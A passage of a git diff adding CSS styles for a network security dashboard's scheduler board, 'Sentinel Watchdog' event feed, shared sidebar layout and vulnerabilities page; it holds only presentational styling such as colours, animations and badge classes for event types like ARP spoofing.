.2s ease, color .2s ease; + box-shadow: var(--shadow); +} + +.scheduler-container .pill:hover { + transform: translateY(-1px); + box-shadow: 0 10px 26px rgba(0, 0, 0, .35); +} + +.scheduler-container .pill.active { + background: var(--grad-card, linear-gradient(135deg, color-mix(in oklab, var(--panel) 92%, transparent), color-mix(in oklab, var(--c-panel) 88%, transparent))); + box-shadow: inset 0 0 0 1px var(--c-border-strong), 0 6px 24px var(--glow-weak); +} + +.scheduler-container .controls input[type="text"] { + flex: 1 1 260px; + min-width: 200px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + border-radius: 10px; + padding: .5rem .7rem; + box-shadow: var(--shadow); + font-weight: 700; + outline: none; +} + +.scheduler-container .controls input[type="text"]:focus-visible, +.scheduler-container .pill:focus-visible { + outline: 2px solid var(--acid); + outline-offset: 2px; + box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); +} + +.scheduler-container .stats { + flex-basis: 100%; + margin-left: 0; + text-align: center; + color: var(--muted); +} + +/* Board */ +.scheduler-container .boardWrap { + height: calc(100vh - (var(--h-topbar, 0px) + 5px) - 56px - 52px); + overflow: auto; +} + +.scheduler-container .board { + display: flex; + gap: 14px; + padding: 14px; + min-width: 960px; +} + +.scheduler-container .lane { + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + width: 340px; + display: flex; + flex-direction: column; + box-shadow: var(--shadow); + min-height: 0; +} + +.scheduler-container .laneHeader { + display: flex; + align-items: center; + gap: .6rem; + padding: .6rem .75rem; + border-bottom: 1px solid var(--c-border-strong); + border-top-left-radius: 16px; + border-top-right-radius: 16px; + background: linear-gradient(180deg, color-mix(in oklab, var(--panel) 96%, transparent), color-mix(in oklab, var(--panel) 88%, transparent)); + position: sticky; + top: 0; + z-index: 5; +} + +.scheduler-container .laneHeader .dot { + width: 10px; + height: 10px; + border-radius: 999px; + box-shadow: 0 0 0 1px rgba(255, 255, 255, .08) inset; +} + +.scheduler-container .laneHeader .count { + margin-left: auto; + color: var(--muted); + font-size: .9rem; +} + +.scheduler-container .laneBody { + padding: .6rem; + display: flex; + flex-direction: column; + gap: .6rem; + overflow: auto; + min-height: 0; +} + +/* Status dot colors */ +.scheduler-container .status-upcoming .laneHeader .dot { + background: var(--c-upcoming); + animation: sched-dotPulse 1.6s ease-in-out infinite; +} + +.scheduler-container .status-pending .laneHeader .dot { + background: var(--c-pending); +} + +.scheduler-container .status-running .laneHeader .dot { + background: var(--c-running); + animation: sched-dotPulse 1.6s ease-in-out infinite; +} + +.scheduler-container .status-success .laneHeader .dot { + background: var(--c-success); +} + +.scheduler-container .status-failed .laneHeader .dot { + background: var(--c-failed); +} + +.scheduler-container .status-expired .laneHeader .dot { + background: var(--c-expired); +} + +.scheduler-container .status-cancelled .laneHeader .dot { + background: var(--c-cancel); +} + +@keyframes sched-dotPulse { + + 0%, + 100% { + box-shadow: 0 0 0 0 rgba(74, 168, 255, 0); + } + + 50% { + box-shadow: 0 0 12px 3px rgba(74, 168, 255, .65); + } +} + +/* Cards */ +.scheduler-container .card { + position: relative; + border: 1px solid var(--c-border-strong); + border-radius: 12px; + padding: .7rem .75rem; + box-shadow: var(--shadow); + display: flex; + flex-direction: column; + gap: .45rem; + overflow: hidden; + transition: transform .15s ease, box-shadow .25s ease, filter .2s ease, background .25s ease; + will-change: transform, box-shadow, filter; + background: var(--c-panel); +} + +.scheduler-container .card:hover { + transform: translateY(-1px); + box-shadow: 0 16px 36px rgba(0, 0, 0, .4); +} + +.scheduler-container .card .infoBtn { + position: absolute; + top: 6px; + right: 6px; + z-index: 3; + width: 22px; + height: 22px; + line-height: 20px; + font-weight: 800; + text-align: center; + border-radius: 999px; + border: 1px solid var(--c-border-strong); + background: var(--panel); + color: var(--c-upcoming); + cursor: pointer; + user-select: none; + -webkit-user-select: none; +} + +.scheduler-container .card .infoBtn:hover { + filter: brightness(1.1); +} + +/* Card status backgrounds */ +.scheduler-container .card.status-upcoming { + background: color-mix(in oklab, var(--c-upcoming) 12%, var(--c-panel)); + animation: sched-breathe 2.6s ease-in-out infinite, sched-halo 2.6s ease-in-out infinite; +} + +.scheduler-container .card.status-pending { + background: color-mix(in oklab, var(--c-pending) 10%, var(--c-panel)); + animation: sched-breathe 2.6s ease-in-out infinite, sched-haloGray 2.8s ease-in-out infinite; +} + +.scheduler-container .card.status-running { + background: color-mix(in oklab, var(--c-running) 12%, var(--c-panel)); + animation: sched-pulse 1.8s ease-in-out infinite, sched-haloBlue 2s ease-in-out infinite; +} + +.scheduler-container .card.status-success { + background: color-mix(in oklab, var(--c-success) 10%, var(--c-panel)); +} + +.scheduler-container .card.status-failed { + background: color-mix(in oklab, var(--c-failed) 10%, var(--c-panel)); +} + +.scheduler-container .card.status-expired { + background: color-mix(in oklab, var(--c-expired) 10%, var(--c-panel)); +} + +.scheduler-container .card.status-cancelled { + background: color-mix(in oklab, var(--c-cancel) 10%, var(--c-panel)); +} + +.scheduler-container .badge { + margin-left: auto; + border-radius: 999px; + padding: .15rem .6rem; + font-size: .75rem; + font-weight: 800; + color: #0a0d10; +} + +.scheduler-container .card.status-upcoming .badge { + background: var(--c-upcoming); +} + +.scheduler-container .card.status-pending .badge { + background: var(--c-pending); +} + +.scheduler-container .card.status-running .badge { + background: var(--c-running); +} + +.scheduler-container .card.status-success .badge { + background: var(--c-success); +} + +.scheduler-container .card.status-failed .badge { + background: var(--c-failed); +} + +.scheduler-container .card.status-expired .badge { + background: var(--c-expired); +} + +.scheduler-container .card.status-cancelled .badge { + background: var(--c-cancel); +} + +/* Collapsed */ +.scheduler-container .card.collapsed .kv, +.scheduler-container .card.collapsed .tags, +.scheduler-container .card.collapsed .timer, +.scheduler-container .card.collapsed .meta, +.scheduler-container .card.collapsed .btns, +.scheduler-container .card.collapsed .notice { + display: none !important; +} + +.scheduler-container .card.collapsed { + gap: .25rem; + padding: .4rem .5rem; +} + +.scheduler-container .card.collapsed .actionIcon { + width: 80px; + height: 80px; +} + +.scheduler-container .cardHeader { + display: flex; + align-items: center; + gap: .6rem; +} + +.scheduler-container .actionName { + font-weight: 800; + letter-spacing: .2px; +} + +.scheduler-container .actionIconWrap { + display: flex; + align-items: center; + justify-content: center; + margin-right: 8px; +} + +.scheduler-container .actionIcon { + width: 80px; + height: 80px; + object-fit: contain; + border-radius: 6px; + background: var(--panel); + border: 1px solid var(--c-border); +} + +.scheduler-container .card.status-running .actionIcon { + animation: sched-pulseIcon 1.2s ease-in-out infinite; +} + +.scheduler-container .card.status-pending .actionIcon { + animation: sched-swayIcon 1.8s ease-in-out infinite; +} + +.scheduler-container .card.status-upcoming .actionIcon { + animation: sched-blinkIcon 2s ease-in-out infinite; +} + +@keyframes sched-pulseIcon { + + 0%, + 100% { + transform: scale(1); + } + + 50% { + transform: scale(1.25); + } +} + +@keyframes sched-swayIcon { + + 0%, + 100% { + transform: rotate(0deg); + } + + 25% { + transform: rotate(-5deg); + } + + 75% { + transform: rotate(5deg); + } +} + +@keyframes sched-blinkIcon { + + 0%, + 100% { + opacity: 1; + } + + 50% { + opacity: .4; + } +} + +.scheduler-container .kv { + display: flex; + flex-wrap: wrap; + gap: .45rem .8rem; + font-size: .9rem; +} + +.scheduler-container .kv .k { + color: var(--muted); +} + +.scheduler-container .tags { + display: flex; + flex-wrap: wrap; + gap: .35rem; +} + +.scheduler-container .tag { + background: var(--panel); + color: var(--ink); + border: 1px solid var(--c-border-strong); + padding: .15rem .45rem; + border-radius: 999px; + font-size: .74rem; + box-shadow: var(--shadow); +} + +.scheduler-container .meta { + color: color-mix(in oklab, var(--ink) 76%, #9aa7b2); + font-size: .82rem; + display: flex; + flex-wrap: wrap; + gap: .5rem .8rem; +} + +.scheduler-container .btns { + display: flex; + flex-wrap: wrap; + gap: .4rem; + margin-top: .2rem; +} + +.scheduler-container .btn { + background: var(--panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + padding: .35rem .6rem; + border-radius: 8px; + cursor: pointer; +} + +.scheduler-container .btn:hover { + filter: brightness(1.08); +} + +.scheduler-container .btn.danger { + background: color-mix(in oklab, #9c2b2b 22%, var(--panel)); + border-color: #4a1515; + color: #ffd0d0; +} + +.scheduler-container .btn.warn { + background: color-mix(in oklab, #9c6a2b 22%, var(--panel)); + border-color: #5c2c0c; + color: #ffd8a8; +} + +.scheduler-container .empty { + color: var(--muted); + text-align: center; + padding: .6rem; +} + +@keyframes sched-pulse { + + 0%, + 100% { + transform: scale(1); + } + + 50% { + transform: scale(1.02); + } +} + +@keyframes sched-breathe { + + 0%, + 100% { + filter: brightness(1); + } + + 50% { + filter: brightness(1.07); + } +} + +@keyframes sched-halo { + + 0%, + 100% { + box-shadow: 0 0 12px rgba(156, 194, 255, .25); + } + + 50% { + box-shadow: 0 0 22px rgba(156, 194, 255, .45); + } +} + +@keyframes sched-haloGray { + + 0%, + 100% { + box-shadow: 0 0 12px rgba(187, 187, 187, .15); + } + + 50% { + box-shadow: 0 0 22px rgba(187, 187, 187, .3); + } +} + +@keyframes sched-haloBlue { + + 0%, + 100% { + box-shadow: 0 0 12px rgba(74, 168, 255, .25); + } + + 50% { + box-shadow: 0 0 26px rgba(74, 168, 255, .5); + } +} + +/* Timer / Progress */ +.scheduler-container .timer { + font-size: .82rem; + color: color-mix(in oklab, var(--ink) 80%, #bcd7ff); + display: flex; + align-items: center; + gap: .4rem; +} + +.scheduler-container .timer .cd { + font-variant-numeric: tabular-nums; +} + +.scheduler-container .progress { + height: 6px; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + overflow: hidden; +} + +.scheduler-container .progress .bar { + height: 100%; + width: 0%; + background: linear-gradient(90deg, var(--c-running), #00d8ff); +} + +/* More button */ +.scheduler-container .moreWrap { + display: flex; + justify-content: center; +} + +.scheduler-container .moreBtn { + background: var(--panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + border-radius: 10px; + padding: .45rem .8rem; + cursor: pointer; + transition: transform .15s; + margin: .25rem auto 0; + box-shadow: var(--shadow); +} + +.scheduler-container .moreBtn:hover { + transform: translateY(-1px); +} + +/* Notice */ +.scheduler-container .notice { + padding: .6rem .8rem; + color: #ffd9d6; + background: color-mix(in oklab, #7a3838 55%, var(--panel)); + border-bottom: 1px solid #7a3838; + display: none; + border-radius: 12px; + margin: .6rem; +} + +/* Chips */ +.scheduler-container .chips { + display: flex; + flex-wrap: wrap; + gap: .35rem; + margin: .1rem 0 .2rem; + justify-content: center; +} + +.scheduler-container .chip { + --h: 200; + display: inline-flex; + align-items: center; + gap: .4rem; + padding: .25rem .55rem; + border-radius: 999px; + font-size: .82rem; + font-weight: 800; + color: #fff; + letter-spacing: .2px; + background: linear-gradient(135deg, rgba(255, 255, 255, .06), rgba(0, 0, 0, .12)), hsl(var(--h), 65%, 34%); + border: 1px solid hsla(var(--h), 70%, 60%, .35); + box-shadow: 0 6px 16px rgba(0, 0, 0, .22), inset 0 1px 0 rgba(255, 255, 255, .06); + transition: transform .15s ease, box-shadow .2s ease, filter .2s ease; +} + +.scheduler-container .chip:hover { + transform: translateY(-1px); + box-shadow: 0 10px 22px rgba(0, 0, 0, .28); +} + +.scheduler-container .chip .k { + opacity: .85; + font-weight: 700; +} + +/* History modal */ +.scheduler-container .modalOverlay { + position: fixed; + inset: 0; + background: rgba(0, 0, 0, .5); + display: none; + align-items: center; + justify-content: center; + z-index: 1000; +} + +.scheduler-container .modal { + width: min(860px, 92vw); + max-height: 80vh; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 14px; + box-shadow: 0 20px 56px rgba(0, 0, 0, .6); + display: flex; + flex-direction: column; + overflow: hidden; +} + +.scheduler-container .modalHeader { + display: flex; + align-items: center; + gap: .6rem; + padding: .6rem .8rem; + border-bottom: 1px solid var(--c-border-strong); + background: linear-gradient(180deg, color-mix(in oklab, var(--panel) 96%, transparent), color-mix(in oklab, var(--panel) 88%, transparent)); +} + +.scheduler-container .modalHeader .title { + font-weight: 900; +} + +.scheduler-container .modalHeader .spacer { + flex: 1; +} + +.scheduler-container .modalBody { + padding: .6rem .8rem; + overflow: auto; + display: flex; + flex-direction: column; + gap: .35rem; +} + +.scheduler-container .modalFooter { + padding: .5rem .8rem; + border-top: 1px solid var(--c-border-strong); + display: flex; + gap: .5rem; + justify-content: flex-end; + color: var(--muted); +} + +.scheduler-container .xBtn, +.scheduler-container .miniToggle { + background: var(--panel); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: 8px; + padding: .35rem .6rem; + cursor: pointer; +} + +.scheduler-container .xBtn:hover, +.scheduler-container .miniToggle:hover { + filter: brightness(1.08); +} + +.scheduler-container #searchBox { + width: 100%; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + border-radius: 10px; + padding: .5rem .7rem; + box-shadow: var(--shadow); + font-weight: 700; + outline: none; +} + +.scheduler-container .histRow { + display: flex; + align-items: center; + gap: .6rem; + padding: .45rem .6rem; + border-radius: 10px; + border: 1px solid var(--c-border-strong); + background: color-mix(in oklab, var(--ink) 2%, var(--panel)); +} + +.scheduler-container .histRow .ts { + color: var(--muted); + font-variant-numeric: tabular-nums; +} + +.scheduler-container .histRow .st { + font-weight: 900; + margin-left: auto; + padding: .1rem .5rem; + border-radius: 999px; + font-size: .75rem; + color: #0a0d10; +} + +.scheduler-container .hist-success { + background: color-mix(in oklab, var(--c-success) 8%, var(--panel)); + border-left: 3px solid var(--c-success); +} + +.scheduler-container .hist-failed { + background: color-mix(in oklab, var(--c-failed) 8%, var(--panel)); + border-left: 3px solid var(--c-failed); +} + +.scheduler-container .hist-running { + background: color-mix(in oklab, var(--c-running) 8%, var(--panel)); + border-left: 3px solid var(--c-running); +} + +.scheduler-container .hist-pending, +.scheduler-container .hist-scheduled { + background: color-mix(in oklab, var(--c-pending) 8%, var(--panel)); + border-left: 3px solid var(--c-pending); +} + +.scheduler-container .hist-expired { + background: color-mix(in oklab, var(--c-expired) 8%, var(--panel)); + border-left: 3px solid var(--c-expired); +} + +.scheduler-container .hist-cancelled { + background: color-mix(in oklab, var(--c-cancel) 8%, var(--panel)); + border-left: 3px solid var(--c-cancel); +} + +.scheduler-container .hist-superseded { + background: color-mix(in oklab, var(--c-super) 8%, var(--panel)); + border-left: 3px solid var(--c-super); +} + +@media (max-width:920px) { + .scheduler-container .board { + flex-direction: column; + min-width: 0; + } + + .scheduler-container .lane { + width: auto; + } + + .scheduler-container .stats { + width: 100%; + margin-left: 0; + } + + .scheduler-container .boardWrap { + height: auto; + min-height: calc(100vh - (var(--h-topbar, 0px) + 5px)); + } +} + +@media (prefers-reduced-motion: reduce) { + + .scheduler-container .card, + .scheduler-container .laneHeader .dot { + animation: none !important; + } +} + diff --git a/web/css/pages/sentinel.css b/web/css/pages/sentinel.css new file mode 100644 index 0000000..7ba7df8 --- /dev/null +++ b/web/css/pages/sentinel.css @@ -0,0 +1,366 @@ +/* ============================================================ + Sentinel Watchdog — SPA page styles + ============================================================ */ + +.sentinel-page { + display: flex; + flex-direction: column; + height: 100%; + min-height: 0; + gap: 12px; + padding: 15px; +} + +/* ── Header bar ─────────────────────────────────────────── */ + +.sentinel-header { + display: flex; + justify-content: space-between; + align-items: center; + flex-shrink: 0; + flex-wrap: wrap; + gap: 10px; +} + +.sentinel-title { + margin: 0; + font-size: 1.3rem; + font-weight: 800; + color: var(--ink); + display: flex; + align-items: center; + gap: 8px; +} + +.sentinel-title-icon { + font-size: 1.5rem; +} + +.sentinel-controls { + display: flex; + gap: 8px; + align-items: center; +} + +.sentinel-toggle { + display: flex; + align-items: center; + gap: 8px; + padding: 6px 14px; + border-radius: 8px; + border: 1px solid var(--c-border); + background: var(--c-panel); + font-size: 0.8rem; + font-weight: 700; + cursor: pointer; + transition: 0.2s; +} + +.sentinel-toggle.active { + border-color: var(--acid); + background: rgba(0, 255, 154, 0.08); + color: var(--acid); + box-shadow: 0 0 12px rgba(0, 255, 154, 0.15); +} + +.sentinel-toggle .dot { + width: 8px; + height: 8px; + border-radius: 50%; + background: var(--muted-off); + transition: 0.2s; +} + +.sentinel-toggle.active .dot { + background: var(--acid); + box-shadow: 0 0 6px var(--acid); + animation: sentinel-pulse 2s infinite; +} + +@keyframes sentinel-pulse { + 0%, 100% { opacity: 0.7; box-shadow: 0 0 4px var(--acid); } + 50% { opacity: 1; box-shadow: 0 0 12px var(--acid); } +} + +/* ── Stats bar ──────────────────────────────────────────── */ + +.sentinel-stats { + display: flex; + gap: 10px; + flex-shrink: 0; + flex-wrap: wrap; +} + +.sentinel-stat { + flex: 1 1 120px; + padding: 10px 14px; + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 10px; + text-align: center; + min-width: 100px; +} + +.sentinel-stat-val { + font-size: 1.4rem; + font-weight: 800; + font-family: 'Fira Code', monospace; + color: var(--ink); + line-height: 1.2; +} + +.sentinel-stat-lbl { + font-size: 0.65rem; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 0.5px; + margin-top: 4px; +} + +/* ── Main grid ──────────────────────────────────────────── */ + +.sentinel-grid { + display: grid; + grid-template-columns: 1fr 340px; + gap: 12px; + flex: 1; + min-height: 0; +} + +/* ── Panels ─────────────────────────────────────────────── */ + +.sentinel-panel { + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 12px; + display: flex; + flex-direction: column; + overflow: hidden; + min-height: 0; +} + +.sentinel-panel-head { + padding: 10px 14px; + font-size: 0.72rem; + font-weight: 700; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 1px; + border-bottom: 1px solid var(--c-border); + background: rgba(0, 0, 0, 0.15); + flex-shrink: 0; + display: flex; + justify-content: space-between; + align-items: center; +} + +.sentinel-panel-body { + flex: 1; + overflow-y: auto; + padding: 10px; + display: flex; + flex-direction: column; + gap: 6px; +} + +/* ── Event cards ────────────────────────────────────────── */ + +.sentinel-event { + padding: 10px 12px; + border-radius: 8px; + border-left: 3px solid var(--c-border); + background: color-mix(in oklab, var(--c-panel) 80%, transparent); + transition: background 0.15s; + cursor: pointer; +} + +.sentinel-event:hover { + background: color-mix(in oklab, var(--c-panel) 100%, transparent); +} + +.sentinel-event.unread { + border-left-color: var(--acid); +} + +.sentinel-event.sev-warning { + border-left-color: var(--warning); +} + +.sentinel-event.sev-critical { + border-left-color: var(--danger); +} + +.sentinel-event-head { + display: flex; + justify-content: space-between; + align-items: flex-start; + gap: 8px; + margin-bottom: 4px; +} + +.sentinel-event-title { + font-size: 0.82rem; + font-weight: 700; + color: var(--ink); + flex: 1; +} + +.sentinel-event-time { + font-size: 0.65rem; + color: var(--muted); + white-space: nowrap; + flex-shrink: 0; +} + +.sentinel-event-body { + font-size: 0.72rem; + color: var(--muted); + line-height: 1.4; +} + +.sentinel-event-badge { + display: inline-block; + padding: 1px 6px; + border-radius: 4px; + font-size: 0.6rem; + font-weight: 800; + letter-spacing: 0.5px; + text-transform: uppercase; + margin-right: 6px; +} + +.sentinel-event-badge.new_device { background: rgba(0,220,255,0.15); color: #00dcff; } +.sentinel-event-badge.device_join { background: rgba(0,255,160,0.15); color: #00ffa0; } +.sentinel-event-badge.device_leave { background: rgba(255,255,255,0.08); color: #888; } +.sentinel-event-badge.arp_spoof { background: rgba(255,59,59,0.15); color: #ff3b3b; } +.sentinel-event-badge.port_change { background: rgba(255,209,102,0.15); color: #ffd166; } +.sentinel-event-badge.mac_flood { background: rgba(255,59,59,0.2); color: #ff3b3b; } +.sentinel-event-badge.rogue_dhcp { background: rgba(255,100,180,0.15); color: #ff64b4; } +.sentinel-event-badge.dns_anomaly { background: rgba(180,140,255,0.15); color: #b48cff; } + +/* ── Sidebar tabs ───────────────────────────────────────── */ + +.sentinel-side-tabs { + display: flex; + gap: 2px; + padding: 6px; + background: rgba(0, 0, 0, 0.15); + border-bottom: 1px solid var(--c-border); + flex-shrink: 0; +} + +.sentinel-side-tab { + flex: 1; + padding: 5px 8px; + border: none; + border-radius: 6px; + background: transparent; + color: var(--muted); + font-size: 0.7rem; + font-weight: 700; + cursor: pointer; + transition: 0.15s; +} + +.sentinel-side-tab.active { + background: var(--c-panel); + color: var(--acid); +} + +/* ── Rules list ─────────────────────────────────────────── */ + +.sentinel-rule { + padding: 8px 10px; + border-radius: 8px; + border: 1px solid var(--c-border); + background: color-mix(in oklab, var(--c-panel) 60%, transparent); + display: flex; + justify-content: space-between; + align-items: center; + gap: 8px; +} + +.sentinel-rule-info { + flex: 1; + min-width: 0; +} + +.sentinel-rule-name { + font-size: 0.78rem; + font-weight: 700; + color: var(--ink); +} + +.sentinel-rule-type { + font-size: 0.65rem; + color: var(--muted); +} + +.sentinel-rule-actions { + display: flex; + gap: 4px; + align-items: center; +} + +/* ── Notifiers config ───────────────────────────────────── */ + +.sentinel-notifier-row { + display: flex; + flex-direction: column; + gap: 4px; + padding: 8px 10px; + border-radius: 8px; + border: 1px solid var(--c-border); + background: color-mix(in oklab, var(--c-panel) 60%, transparent); +} + +.sentinel-notifier-label { + font-size: 0.72rem; + font-weight: 700; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 0.5px; +} + +.sentinel-notifier-input { + width: 100%; + padding: 6px 8px; + background: var(--c-panel); + border: 1px solid var(--c-border); + border-radius: 6px; + color: var(--ink); + font-size: 0.75rem; + font-family: 'Fira Code', monospace; +} + +/* ── Responsive ─────────────────────────────────────────── */ + +@media (max-width: 900px) { + .sentinel-grid { + grid-template-columns: 1fr; + } + + .sentinel-stats { + flex-wrap: wrap; + } + + .sentinel-stat { + flex: 1 1 80px; + min-width: 70px; + padding: 8px 10px; + } + + .sentinel-stat-val { + font-size: 1.1rem; + } + + .sentinel-page { + padding: 10px; + gap: 8px; + } + + .sentinel-header { + flex-direction: column; + align-items: flex-start; + } +} diff --git a/web/css/pages/shared.css b/web/css/pages/shared.css new file mode 100644 index 0000000..e97e19f --- /dev/null +++ b/web/css/pages/shared.css @@ -0,0 +1,217 @@ +/* ========================================================================== + pages.css — Page-specific styles for all SPA page modules. + Each section is scoped under the page's wrapper class to avoid conflicts. + ========================================================================== */ + +/* ===== Page-specific variables (extends global.css tokens) ===== */ +:root { + /* Bridge aliases used by multiple pages (Credentials, Loot, Files, Attacks) */ + --_bg: var(--bg); + --_panel: var(--c-panel-2); + --_panel-hi: color-mix(in oklab, var(--c-panel-2) 96%, transparent); + --_panel-lo: color-mix(in oklab, var(--c-panel-2) 86%, transparent); + --_border: var(--c-border); + --_ink: var(--ink); + --_muted: var(--muted); + --_acid: var(--acid); + --_acid2: var(--acid-2); + --_shadow: var(--shadow); + + /* NetKB chip colors */ + --kb-hostname-bg: color-mix(in oklab, var(--acid) 16%, transparent); + --kb-ip-bg: color-mix(in oklab, var(--acid-2) 18%, transparent); + --kb-mac-bg: color-mix(in oklab, var(--muted) 10%, transparent); + --kb-vendor-bg: color-mix(in oklab, #b18cff 16%, transparent); + --kb-ports-bg: color-mix(in oklab, #5fd1ff 16%, transparent); + --kb-essid-bg: color-mix(in oklab, #00e6c3 16%, transparent); + --kb-offline-bg: color-mix(in oklab, var(--bg-2) 88%, black 12%); + --kb-offline-brd: color-mix(in oklab, var(--c-border-strong) 60%, transparent); + --kb-offline-ring: color-mix(in oklab, #ff5b5b 30%, transparent); + --kb-badge-shimmer: linear-gradient(90deg, transparent, rgba(255, 255, 255, .22), transparent); + + /* Attacks page */ + --tile-min: 160px; + --ok-glow: rgba(34, 197, 94, .45); + --ko-glow: rgba(239, 68, 68, .45); +} + +/* ===== Shared sidebar layout (SPA parity with web_old) ===== */ +.page-with-sidebar { + --page-sidebar-w: 280px; + position: relative; + display: flex; + gap: 12px; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + align-items: stretch; +} + +.page-with-sidebar .page-sidebar { + width: var(--page-sidebar-w); + flex: 0 0 var(--page-sidebar-w); + position: sticky; + top: 0; + align-self: flex-start; + max-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + min-width: 0; + display: flex; + flex-direction: column; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + overflow: hidden; +} + +.page-with-sidebar .page-main { + min-width: 0; + flex: 1; + min-height: 0; + display: flex; + flex-direction: column; +} + +.page-with-sidebar .sidebar-toggle-btn { + display: inline-flex; + margin-bottom: 0; + align-self: auto; +} + +.page-with-sidebar .sidebar-fab { + position: fixed; + right: 14px; + bottom: calc(var(--h-bottombar, 56px) + 14px); + z-index: 82; + border-radius: 999px; + width: 38px; + height: 38px; + min-width: 38px; + min-height: 38px; + padding: 0; + font-size: 16px; + color: var(--ink); + background: color-mix(in oklab, var(--c-panel) 88%, transparent); + border: 1px solid var(--c-border-strong); + box-shadow: 0 6px 16px rgba(0, 0, 0, .28); + opacity: .88; + display: inline-flex; + align-items: center; + justify-content: center; + line-height: 1; +} + +.page-with-sidebar .sidebar-fab:hover { + opacity: 1; + transform: translateY(-1px); +} + +.page-with-sidebar .sidebar-fab:active { + transform: translateY(0); +} + +.page-sidebar-backdrop { + display: none; + position: fixed; + left: 0; + right: 0; + top: var(--h-topbar, 56px); + bottom: var(--h-bottombar, 56px); + background: rgba(0, 0, 0, .52); + border: 0; + z-index: 79; +} + +.page-with-sidebar .sidehead { + padding: 10px; + border-bottom: 1px dashed var(--c-border); + display: flex; + align-items: center; + gap: 8px; + position: sticky; + top: 0; + z-index: 5; + background: var(--grad-card); + flex-shrink: 0; +} + +.page-with-sidebar .sidetitle { + font-weight: 800; + color: var(--acid); + letter-spacing: .05em; +} + +.page-with-sidebar .sidecontent { + padding: 10px; + overflow: auto; + min-height: 0; + flex: 1; +} + +.page-with-sidebar.sidebar-collapsed .page-sidebar { + width: 0; + flex-basis: 0; + padding: 0; + border-width: 0; + overflow: hidden; +} + +@media (max-width: 900px) { + .page-with-sidebar { + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 12px); + } + + .page-with-sidebar .sidebar-fab { + right: 10px; + bottom: calc(var(--h-bottombar, 56px) + 10px); + } + + .sidebar-fab-unified { + position: fixed; + z-index: 82; + border-radius: 999px; + width: 38px; + height: 38px; + min-width: 38px; + min-height: 38px; + padding: 0; + font-size: 16px; + color: var(--ink); + background: color-mix(in oklab, var(--c-panel) 88%, transparent); + border: 1px solid var(--c-border-strong); + box-shadow: 0 6px 16px rgba(0, 0, 0, .28); + opacity: .88; + display: inline-flex; + align-items: center; + justify-content: center; + line-height: 1; + } + + .sidebar-fab-unified:hover { + opacity: 1; + transform: translateY(-1px); + } + + .sidebar-fab-unified:active { + transform: translateY(0); + } + + .page-with-sidebar .page-sidebar { + position: fixed; + top: var(--h-topbar, 56px); + bottom: var(--h-bottombar, 56px); + left: 0; + z-index: 80; + width: min(86vw, 320px); + flex-basis: auto; + transform: translateX(-105%); + transition: transform .2s ease; + } + + .page-with-sidebar.sidebar-open .page-sidebar { + transform: translateX(0); + } + + .page-with-sidebar.sidebar-open .page-sidebar-backdrop { + display: block; + } +} + diff --git a/web/css/pages/vulnerabilities.css b/web/css/pages/vulnerabilities.css new file mode 100644 index 0000000..84de92d --- /dev/null +++ b/web/css/pages/vulnerabilities.css @@ -0,0 +1,698 @@ +/* ========================================================================== + VULNERABILITIES + ========================================================================== */ +.vuln-container { + padding: var(--gap-4); + min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar)); + animation: vuln-fadeIn 0.5s ease-in; +} + +@keyframes vuln-fadeIn { + from { + opacity: 0; + transform: translateY(10px); + } + + to { + opacity: 1; + transform: translateY(0); + } +} + +.vuln-container .stats-header { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); + gap: var(--gap-4); + margin-bottom: var(--gap-3); +} + +.vuln-container .stat-card { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + text-align: center; + border: 1px solid var(--c-border); + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + position: relative; + overflow: hidden; + box-shadow: var(--elev); +} + +.vuln-container .stat-card::before { + content: ''; + position: absolute; + top: 0; + left: 0; + right: 0; + height: 3px; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + animation: vuln-pulse 2s infinite; +} + +.vuln-container .stat-card:hover { + transform: translateY(-2px); + box-shadow: var(--shadow-hover); +} + +.vuln-container .stat-number { + font-size: 28px; + font-weight: bold; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + margin: 5px 0; +} + +.vuln-container .stat-label { + font-size: 12px; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 1px; +} + +.vuln-container .control-bar { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + margin-bottom: var(--gap-3); + display: flex; + flex-wrap: wrap; + gap: var(--gap-3); + align-items: center; + border: 1px solid var(--c-border); + box-shadow: var(--elev); +} + +.vuln-container .search-box { + flex: 1; + min-width: 200px; + position: relative; +} + +.vuln-container .search-input { + width: 100%; + height: var(--control-h); + padding: 0 40px 0 var(--control-pad-x); + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r); + color: var(--ink); + font-size: 14px; + transition: all 0.3s ease; +} + +.vuln-container .search-input:focus { + outline: none; + border-color: var(--accent); + box-shadow: 0 0 0 3px var(--glow-weak); +} + +.vuln-container .clear-search { + position: absolute; + right: 10px; + top: 50%; + transform: translateY(-50%); + background: none; + border: none; + color: var(--danger); + cursor: pointer; + font-size: 18px; + display: none; + transition: color 0.3s ease; +} + +.vuln-container .clear-search:hover { + color: var(--acid-2); +} + +.vuln-container .clear-search.show { + display: block; +} + +.vuln-container .filter-buttons { + display: flex; + gap: var(--gap-3); +} + +.vuln-container .filter-btn.active { + 